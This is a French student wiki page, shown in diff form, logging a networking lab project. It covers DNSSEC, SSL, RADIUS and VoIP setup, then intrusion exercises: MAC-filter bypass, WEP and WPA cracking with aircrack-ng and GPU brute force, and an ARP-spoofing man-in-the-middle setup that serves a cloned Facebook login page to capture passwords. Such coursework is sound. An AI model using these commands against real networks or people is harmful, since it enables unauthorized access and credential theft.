Cahier groupe n°10 : Différence entre versions
(→Sécurisation par DNSSEC) |
(→Création du serveur DNS) |
||
| (55 révisions intermédiaires par 2 utilisateurs non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
== Introduction == | == Introduction == | ||
| − | Le but du | + | Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un "atelier" permettant d'essayer de craquer des réseaux wifi. |
== Crack Wifi == | == Crack Wifi == | ||
| Ligne 20 : | Ligne 20 : | ||
Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. <br> | Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. <br> | ||
| − | Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique | + | Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage. <br> |
| − | Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous | + | Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie. |
==== Installation d'une nouvelle carte graphique ==== | ==== Installation d'une nouvelle carte graphique ==== | ||
Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique.<br> | Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique.<br> | ||
| − | Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu | + | Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle. |
| − | == | + | == Services internet == |
=== Création de la machine virtuelle === | === Création de la machine virtuelle === | ||
| − | Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour | + | Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh : |
ssh root@cordouan.insecserv.deule.net | ssh root@cordouan.insecserv.deule.net | ||
| Ligne 45 : | Ligne 45 : | ||
xl create /etc/xen/DELIRIUM.cfg | xl create /etc/xen/DELIRIUM.cfg | ||
| − | Une fois la machine virtuelle | + | Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande : |
xl console DELIRIUM | xl console DELIRIUM | ||
| Ligne 53 : | Ligne 53 : | ||
Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9.<br> | Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9.<br> | ||
| − | Après avoir | + | Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170 |
| − | === Création du serveur DNS === | + | === Création du serveur DNS / Sécurisation par DNSSEC === |
| − | Nous sommes tout d'abord allés sur gandi.net et nous avons choisi le nom de domaine delirium.lol, qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que ns.delirium.lol soit associé à l'adresse 193.48.57.170.<br> | + | Nous sommes tout d'abord allés sur '''gandi.net''' et nous avons choisi le nom de domaine '''delirium.lol''', qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que '''ns.delirium.lol''' soit associé à l'adresse '''193.48.57.170'''.<br> |
| − | Une fois cette étape faite, nous avons | + | Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel. <br><br> |
| − | + | Nous commençons par ajouter l'option '''dnssec-enable yes;''' dans le fichier '''named.conf.options'''.<br> | |
| − | Puis dans le fichier resolv.conf nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi : | + | Nous avons ensuite modifié le fichier '''named.conf.local''' de manière à y ajouter notre zone : |
| + | |||
| + | zone "delirium.lol" {<br>type master;<br>file "/etc/bind/zones/delirium.lol.db";<br>allow-transfer { 217.70.177.40; };<br>notify yes;<br>}; | ||
| + | |||
| + | Puis nous générons les clés publiques et privées ksk et zsk dans le dossier '''/etc/bind/delirium.lol.dnssec/''' comme suit : | ||
| + | |||
| + | $ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol | ||
| + | $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol | ||
| + | |||
| + | Nous renommons les clés de manière à obtenir ceci : | ||
| + | |||
| + | -rw-r--r-- 1 root bind 606 Jan 17 17:11 delirium.lol-ksk.key | ||
| + | -rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private | ||
| + | -rw-r--r-- 1 root bind 433 Jan 17 17:18 delirium.lol-zsk.key | ||
| + | -rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private | ||
| + | |||
| + | Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement, <br> | ||
| + | puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone ('''Serial''', de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) : | ||
| + | |||
| + | $TTL 60480 | ||
| + | |||
| + | @ IN SOA ns.delirium.lol. root.delirium.lol. ( | ||
| + | 2016011706 ; '''Serial''' | ||
| + | 86400 ; Refresh | ||
| + | 3600 ; Retry | ||
| + | 2419200 ; Expire | ||
| + | 86400 ) ; Negative Cache TTL | ||
| + | |||
| + | '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key''' | ||
| + | '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key''' | ||
| + | |||
| + | @ IN NS ns.delirium.lol. | ||
| + | @ IN NS ns6.gandi.net. | ||
| + | ns IN A 193.48.57.170 | ||
| + | www IN A 193.48.57.170 | ||
| + | god IN A 193.48.57.170 | ||
| + | @ IN A 193.48.57.170 | ||
| + | |||
| + | Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa : | ||
| + | |||
| + | $TTL 604800 | ||
| + | |||
| + | @ IN SOA ns.delirium.lol. root.delirium.lol. ( | ||
| + | 2016011706 ;serial | ||
| + | 14400 ;refresh | ||
| + | 3600 ;retry | ||
| + | 604800 ;expire | ||
| + | 10800 ;minimum | ||
| + | ) | ||
| + | |||
| + | 57.48.193.in-addr.arpa. IN NS ns.delirium.lol. | ||
| + | 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. | ||
| + | |||
| + | 170 IN PTR delirium.lol. | ||
| + | |||
| + | Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi : | ||
search delirium.lol<br>nameserver 193.48.57.170<br>nameserver 217.70.177.40 | search delirium.lol<br>nameserver 193.48.57.170<br>nameserver 217.70.177.40 | ||
| − | + | On se place dans le dossier '''/etc/bind/''', puis on signe les enregistrements de la zone : | |
| + | |||
| + | $ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk | ||
| + | |||
| + | Puis on modifie le fichier '''named.conf.local''' de manière à utiliser la zone signée de suffixe .signed : | ||
| + | |||
| + | zone "delirium.lol" {<br>type master;<br>file "/etc/bind/zones/'''delirium.lol.db.signed'''";<br>allow-transfer { 217.70.177.40; };<br>notify yes;<br>}; | ||
| + | |||
| + | Une fois ces opérations effectuées nous avons redémarré notre serveur DNS : | ||
/etc/init.d/bind9 restart | /etc/init.d/bind9 restart | ||
[[Fichier:DNS.png]] | [[Fichier:DNS.png]] | ||
| + | <br> | ||
| + | |||
| + | Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur '''gandi.net''' dans la section "gérer DNSSEC". <br> Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que [https://www.zonemaster.fr/test/568225ff6498323f cela fonctionne bien]. | ||
=== Sécurisation du site par certificat === | === Sécurisation du site par certificat === | ||
| Ligne 78 : | Ligne 144 : | ||
openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol' | openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol' | ||
| − | Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat | + | Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache.<br> |
| − | Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à | + | Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/.<br> |
Nous avons ensuite rehash la structure à l'aide de la commande : | Nous avons ensuite rehash la structure à l'aide de la commande : | ||
| Ligne 86 : | Ligne 152 : | ||
c_rehash /etc/ssl/certs | c_rehash /etc/ssl/certs | ||
| − | Nous avons alors pu | + | Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande : |
a2ensite 000-domain.tld-ssl | a2ensite 000-domain.tld-ssl | ||
| − | On a alors redémarré | + | On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse [https://delirium.lol https://delirium.lol] |
| + | |||
| + | === Sécurisation Wifi par WPA2-EAP === | ||
| + | |||
| + | Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur '''Freeradius'''. | ||
| + | <br> | ||
| + | <br> | ||
| + | |||
| + | Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante :<br> | ||
| + | '''Fichier eap.conf'''<br> | ||
| + | Ajout de | ||
| + | default_eap_type = peap | ||
| + | <br> | ||
| + | '''Fichier clients.conf''' | ||
| + | <br> | ||
| + | Ajout de <br> | ||
| + | client 10.10.10.2 { | ||
| + | # secret and password are mapped through the "secrets" file. | ||
| + | secret = **** | ||
| + | shortname = cl2 | ||
| + | # the following three fields are optional, but may be used by | ||
| + | # checkrad.pl for simultaneous usage checks | ||
| + | nastype = livingston | ||
| + | login = root | ||
| + | password = **** | ||
| + | } | ||
| + | |||
| + | client 10.10.10.1 { | ||
| + | # secret and password are mapped through the "secrets" file. | ||
| + | secret = **** | ||
| + | shortname = cl1 | ||
| + | # the following three fields are optional, but may be used by | ||
| + | # checkrad.pl for simultaneous usage checks | ||
| + | nastype = livingston | ||
| + | login = root | ||
| + | password = **** | ||
| + | } | ||
| + | |||
| + | === Configuration du serveur Freeradius en DHCP === | ||
| + | |||
| + | Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP. | ||
| + | <br> | ||
| + | Nous commençons par installer '''isc-dhcp-server''' | ||
| + | apt-get install isc-dhcp-server | ||
| + | <br> | ||
| + | |||
| + | On modifie ensuite le fichier '''/etc/dhcp/dhcpd.conf''' : | ||
| + | <br> | ||
| + | On va assigner aléatoirement une adresse IP en suivant ces instructions : | ||
| + | subnet 172.20.20.0 netmask 255.255.255.0 { | ||
| + | range 172.20.20.10 172.20.20.100; | ||
| + | range 172.20.20.150 172.20.20.200; | ||
| + | } | ||
| + | subnet 172.20.20.0 netmask 255.255.255.0 { | ||
| + | range dynamic-bootp 172.20.20.100 172.20.20.200; | ||
| + | option broadcast-address 172.20.20.254; | ||
| + | option routers 172.20.20.2; | ||
| + | } | ||
| + | On modifie également : | ||
| + | option domain-name "delirium.lol"; | ||
| + | option domain-name-servers 193.48.57.48; | ||
| + | |||
| + | Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans '''/etc/dhcp/dhcp.conf''' : | ||
| + | shared-network local { | ||
| + | subnet 193.48.57.160 netmask 255.255.255.240 { | ||
| + | } | ||
| + | subnet 172.20.20.0 netmask 255.255.255.0 { | ||
| + | range dynamic-bootp 172.20.20.100 172.20.20.200; | ||
| + | option broadcast-address 172.20.20.254; | ||
| + | option routers 172.20.20.0; | ||
| + | } | ||
| + | } | ||
| + | |||
| + | Nous rebootons le serveur avec les commandes | ||
| + | $ /etc/init.d/isc-dhcp-server stop | ||
| + | $ /etc/init.d/isc-dhcp-server start | ||
| + | |||
| + | La sortie est : | ||
| + | [ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service. | ||
| + | |||
| + | <br>Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 : | ||
| + | |||
| + | Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante : | ||
| + | |||
| + | Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1 | ||
| + | |||
| + | Nous parvenons à présent à nous connecter sur notre AP '''ssid_Delirium''', mais sans accès internet. | ||
| + | |||
| + | |||
| + | === Configuration d'un PCBX === | ||
| + | |||
| + | On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi "SSID_Delirium". On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante : | ||
| + | |||
| + | [general] | ||
| + | hasvoicemail = yes | ||
| + | hassip = yes | ||
| + | hasiax = yes | ||
| + | callwaiting = yes | ||
| + | threewaycalling = yes | ||
| + | callwaitingcallerid = yes | ||
| + | transfer = yes | ||
| + | canpark = yes | ||
| + | cancallforward = yes | ||
| + | callreturn = yes | ||
| + | callgroup = 1 | ||
| + | pickupgroup = 1 | ||
| + | nat = yes | ||
| + | |||
| + | [1001] | ||
| + | type=peer | ||
| + | host=dynamic | ||
| + | dtmfmode=rfc2833 | ||
| + | disallow=all | ||
| + | allow=ulaw | ||
| + | fullname = mrcoincoin | ||
| + | username = mrcoincoin | ||
| + | secret = canard | ||
| + | context = work | ||
| + | |||
| + | [1002] | ||
| + | type=peer | ||
| + | host=dynamic | ||
| + | dtmfmode=rfc2833 | ||
| + | disallow=all | ||
| + | allow=ulaw | ||
| + | fullname = mrmiaou | ||
| + | username = mrmiaou | ||
| + | secret = chat | ||
| + | context = work | ||
| + | |||
| + | On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes : | ||
| + | |||
| + | [work] | ||
| + | exten => _1XXX,1,Dial(SIP/${EXTEN},20) | ||
| + | exten => _1XXX,2,Hangup() | ||
| + | |||
| + | On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones. | ||
| + | |||
| + | == Tests d'intrusion == | ||
| + | |||
| + | === Cryptage de carte SD === | ||
| + | |||
| + | Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom "tamerlashov" à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande : | ||
| + | |||
| + | cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1 | ||
| + | |||
| + | Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande : | ||
| + | |||
| + | cryptsetup luksDump /dev/mmcblk0p1 | ||
| + | |||
| + | On ouvre ensuite notre partition encryptée en tappant : | ||
| + | |||
| + | cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov | ||
| + | |||
| + | On ajoute alors un système de fichiers à notre partition encryptée avec : | ||
| + | |||
| + | mkfs.ext3 /dev/mapper/tamerlashov | ||
| + | |||
| + | Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés. | ||
| + | |||
| + | mount -t ext3 /dev/mapper/tamerlashov /mnt/ | ||
| + | ... | ||
| + | umount /mnt/ | ||
| + | |||
| + | Pour la ré-encrypter, on utilise alors la commande : | ||
| + | |||
| + | cryptsetup luksClose tamerlashov | ||
| + | |||
| + | Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée. | ||
| + | |||
| + | === Changement d'adresse MAC === | ||
| + | |||
| + | L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé '''"baguette"'''. Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC.<br> | ||
| + | |||
| + | Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes : | ||
| + | |||
| + | ifconfig wlan3 down<br>ifconfig wlan3 hw ether 00:15:af:e7:19:f3<br>ifconfig wlan3 up | ||
| + | |||
| + | Une fois l'adresse changée nous avons pu nous connecter facilement au réseau. | ||
| + | |||
| + | === Cassage de clé WEP === | ||
| + | |||
| + | L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau '''"levrette"'''. Dans un premier temps nous avons téléchargé et installé le paquetage '''aircrack-ng'''. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande | ||
| + | |||
| + | airmon-ng start wlan3 | ||
| + | |||
| + | Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande : | ||
| + | |||
| + | airodump-ng wlan3 | ||
| + | |||
| + | Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec : | ||
| + | |||
| + | airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3 | ||
| + | |||
| + | *L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out | ||
| + | *L'option -c permet de préciser que le canal du réseau est le 6 | ||
| + | *L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55 | ||
| + | |||
| + | On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi : | ||
| + | |||
| + | aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3 | ||
| + | |||
| + | Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message : | ||
| + | |||
| + | Sending Authentication Request (Open System) [ACK]<br>Authentication successful<br>Sending Association Request [ACK]<br>Association successful :-) (AID: 1) | ||
| + | |||
| + | On peut alors commencer l'injection d'ARP avec la commande : | ||
| + | |||
| + | aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3 | ||
| + | |||
| + | Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out.<br> | ||
| + | |||
| + | On peut alors lancer aircrack-ng de la manière suivante : | ||
| + | |||
| + | aircrack-ng out-01.cap | ||
| + | |||
| + | Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs. | ||
| + | |||
| + | [[Fichier:success.png]] | ||
| + | |||
| + | === Cassage de clé WPA === | ||
| + | |||
| + | ==== Méthode n°1 ==== | ||
| + | |||
| + | L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau "cracotte10".<br> | ||
| + | |||
| + | Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande : | ||
| + | |||
| + | airmon-ng start wlan0 | ||
| + | |||
| + | Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande : | ||
| + | |||
| + | aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0 | ||
| + | |||
| + | Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng.<br> | ||
| + | |||
| + | L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch : | ||
| + | |||
| + | crunch 8 8 0123456789 > dico.txt | ||
| + | |||
| + | Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré. | ||
| + | |||
| + | aircrack-ng *.cap -w dico.txt | ||
| + | |||
| + | Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910 | ||
| + | |||
| + | [[Fichier:WPA.png]] | ||
| + | |||
| + | ==== Méthode n°2 ==== | ||
| + | |||
| + | Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair.<br> | ||
| + | |||
| + | Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule : | ||
| + | |||
| + | crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap | ||
| + | |||
| + | Au bout de 242s nous avons alors trouvé la clé WPA du réseau. | ||
| + | |||
| + | [[Fichier:crack_wpa.png]] | ||
| + | |||
| + | Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide! | ||
| + | |||
| + | === Attaque MITM === | ||
| + | |||
| + | Le principe est le suivant : | ||
| + | |||
| + | Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page "facebook". Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque. | ||
| + | |||
| + | La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante : | ||
| + | |||
| + | acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer | ||
| + | http_access allow allowedips | ||
| + | forwarded_for off # Masque notre ip dans le header HTTP | ||
| + | http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy | ||
| + | cache_access_log /var/log/squid3/access.log | ||
| + | cache_log /var/log/squid3/cache.log | ||
| + | cache_store_log /var/log/squid3/store.log | ||
| + | cache_dir ufs /var/spool/squid3 100 16 256 | ||
| + | cache_mem 16 MB | ||
| + | maximum_object_size 15 MB | ||
| + | http_port 3129 transparent # Pour rendre le proxy transparent | ||
| + | cache_effective_group root | ||
| + | url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard | ||
| + | |||
| + | Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante : | ||
| + | |||
| + | dbhome /usr/local/squidGuard/db | ||
| + | logdir /usr/local/squidGuard/logs | ||
| + | |||
| + | dest fb-login { | ||
| + | urllist facebook/url | ||
| + | } | ||
| + | |||
| + | acl { | ||
| + | default { | ||
| + | pass !fb-login all | ||
| + | redirect http://127.0.0.1/ | ||
| + | } | ||
| + | } | ||
| + | |||
| + | Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 : | ||
| + | |||
| + | squidGuard -C all | ||
| + | service squid3 start | ||
| − | + | Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs : | |
| − | + | cat /usr/local/squidGuard/logs/squidGuard.log | |
| − | + | Il faut alors configurer les iptables pour gérer la redirection du trafic : | |
| − | + | echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4 | |
| + | iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence) | ||
| + | iptables -t nat -A PREROUTING -s <ip du serveur squid3> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger | ||
| + | iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3 | ||
| + | iptables -t nat -A POSTROUTING -j MASQUERADE # Remplace l'ip de la cible avec notre propre ip | ||
| + | iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid3 | ||
| − | + | Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande : | |
| − | + | arpspoof -i <eth0 -t <ip de la cible> <ip du gateway> | |
| − | On | + | arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible.<br> |
| − | + | Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil : | |
| − | + | wget http://fr-fr.facebook.com/ | |
| − | + | Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin. | |
Version actuelle datée du 17 janvier 2016 à 16:13
Introduction
Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un "atelier" permettant d'essayer de craquer des réseaux wifi.
Crack Wifi
Objectif
Le but de cette tâche est d'installer dans un premier temps Debian sur un ordinateur portable dont l'écran ne s'allume plus, puis dans un deuxième temps de le configurer de manière à pouvoir brancher 8 cartes wifi en USB et les connecter à des SSID différents diffusés par une borne.
Réalisation
Dans un premier temps nous avons fait des recherches pour savoir quelles méthodes on pouvait utiliser pour installer un PC sans avoir besoin de l'écran, et les deux principales sont :
- Sortir le disque dur du PC portable et le mettre sur une Zabeth, installer Debian sur ce disque, puis le remettre dans l'ordinateur
- Pré-seed une ISO de Debian
Après avoir ouvert l'ordinateur portable, on s'est aperçu que le disque était en réalité un SSD conecté en mSATA. Comme nous ne disposons pas d'adaptateur mSATA vers SATA et que les cartes mères des Zabteh n'ont pas de ports adaptés, nous n'avons pas pu procéder de cette manière.
Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau.
Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage.
Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie.
